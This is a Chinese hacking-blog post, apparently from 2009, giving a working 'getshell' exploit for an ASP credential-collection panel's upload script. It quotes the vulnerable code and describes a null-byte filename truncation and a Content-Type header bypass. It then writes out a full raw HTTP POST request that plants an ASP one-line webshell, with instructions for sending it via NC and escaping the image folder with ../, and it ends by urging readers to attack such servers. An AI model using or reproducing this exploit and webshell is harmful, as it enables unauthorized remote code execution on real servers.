花马收信箱子Getshell 0day

花马收信箱子Getshell 0day </h1> <div id="property"> 2009-10-29 09:29:43  xueheike&#46;net  来源：<a href="http://www&#46;hacksb&#46;cn/" target="_blank">普瑞斯特</a></div><!--引用地址--> By:rubbish特征:login&#46;asp能看到版权,不过有些箱子把这个地址改求了&#46;另外主目录下存在一个wsidny&#46;asp整套程序过滤什么的灰常的严密,看得出来是专业的安全人士写的,唯一可以利用的地方就在这个wsidny&#46;asp看代码: &#46;&#46;&#46; <P>By:rubbish<BR>特征:login&#46;asp能看到版权,不过有些箱子把这个地址改求了&#46;另外主目录下存在一个wsidny&#46;asp<BR>整套程序过滤什么的灰常的严密,看得出来是专业的安全人士写的,唯一可以利用的地方就在这个wsidny&#46;asp<BR>看代码:<BR><!-- #include file="conn&#46;asp"--><BR><% <BR>    Server&#46;ScriptTimeout = 36000<BR>   PostSize = Request&#46;TotalBytes<BR>if postsize=0 then<BR>response&#46;End()<BR>end if<BR>    BytesRead = 0        <BR>     ReadSize=256<BR>     HeadSize=256<BR>     filename = Request&#46;BinaryRead(ReadSize)<BR>     BytesRead = BytesRead + ReadSize        <BR>    PostData = http://www&#46;hackbase& ... &#46;BinaryRead(PostSize - BytesRead)<BR>    StoreFile(filename)<BR>Function Bytes2bStr(vin)<BR>if lenb(vin) =0 then<BR>        Bytes2bStr = ""<BR>        exit function<BR>end if<BR> Dim BytesStream,StringReturn<BR> set BytesStream = Server&#46;CreateObject("ADODB&#46;Stream")<BR> BytesStream&#46;Type = 2 <BR> BytesStream&#46;Open<BR> BytesStream&#46;WriteText vin<BR> BytesStream&#46;Position = 0<BR> BytesStream&#46;Charset = "gb2312"<BR> BytesStream&#46;Position = 2<BR> StringReturn = BytesStream&#46;ReadText<BR> BytesStream&#46;close<BR> set BytesStream = Nothing<BR> Bytes2bStr = StringReturn<BR>End Function<BR>Function StoreFile(filename)<BR>filea=Bytes2bStr(filename)<BR>filea=LCase(filea)<BR>if instr(filea,"&#46;")>0 then<BR>fileb=split(filea,"&#46;")<BR>num2=ubound(fileb)<BR>if instr("jpg|gif|jpeg|png|bmp",fileb(num2))>0 then<BR>filea=filea<BR>else<BR>filea=filea;"&#46;gif"<BR>end if<BR>else<BR>filea=filea;"&#46;gif"<BR>end if<BR>Path=server&#46;MapPath(imgFolder;filea)<BR>Set oFileStream = CreateObject ("ADODB&#46;Stream")<BR>  oFileStream&#46;Type = 1<BR>  oFileStream&#46;Mode = 3<BR>  oFileStream&#46;Open<BR>    oFileStream&#46;Write(PostData) <BR>  oFileStream&#46;SaveToFile Path,2<BR>  oFileStream&#46;Close<BR>  Set oFileStream = Nothing <BR>End Function<BR>    Response&#46;Write PostSize<BR>    Response&#46;Write " bytes were read&#46;"        <BR>%>没搞懂这个页面是用来干什么的,可能是生成图片破密保的吧&#46;一开始是想本地构造表单直接提交,上传带;的图片马,结果因为是Request&#46;BinaryRead取的数据,所以urlencode过的参数都取不出来&#46;改用vbs发包&#46;这里又有个问题,因为路径是取的前256个字符,超过了后面server&#46;MapPath所支持的最大长度,于是想到了用\00截断,把vbs发送的http请求抓出来,用ue写截断,然后提交,去掉包含文件测试成功&#46;但是带包含的时候还报错&#46;因为前面的conn&#46;asp包含了一个fsql&#46;asp防注页面,检查了request&#46;form,调用了request&#46;form之后就不能再调用Request&#46;BinaryRead了否则会报错&#46;那这个页面的意义何在?<BR>在这里纠结了好久,试着去掉http头里的Content-Type: application/x-www-form-urlencoded,提交,发现竟然上传成功鸟,这才发现自己以前一直SB了&#46;去掉这一个头,iis就会认为没有用表单格式提交的参数,这样用request&#46;form就不会收到任何数据,也就不会跟后面的Request&#46;BinaryRead冲突了<BR>下面发利用方法:<BR>POST /DNFZONX/wsidny&#46;asp HTTP/1&#46;1<BR>Accept-Language: zh-cn<BR>Content-Length: 284<BR>Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-silverlight, application/vnd&#46;ms-powerpoint, application/vnd&#46;ms-excel, application/msword, */*<BR>User-Agent: Mozilla/4&#46;0 (compatible; MSIE 7&#46;0; Windows NT 5&#46;1)<BR>Host: xxx&#46;fuck&#46;com<BR>Connection: Keep-Alive<BR>a&#46;asp aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<%execute request("value")%><BR>一句话代码前面要构造到256个字符,然后在ue里面把空格用\00代替,改下主机头啥的,NC提交,看到返回xxx bytes were read&#46;的话,就成功了,目标文件夹下img/a&#46;asp就是了,如果图片目录找不到或者不可执行啥的,可以用&#46;&#46;/什么的跳出来就好了,只要保证一句话前面刚好有256个字符就是了<BR>本地测试成功,大家遇到箱子信封什么的,就使劲的日吧!<BR>{本文转自普瑞斯特博客-原文地址:http://www&#46;hacksb&#46;cn/post/156&#46;html}</P><P><BR> </P></div>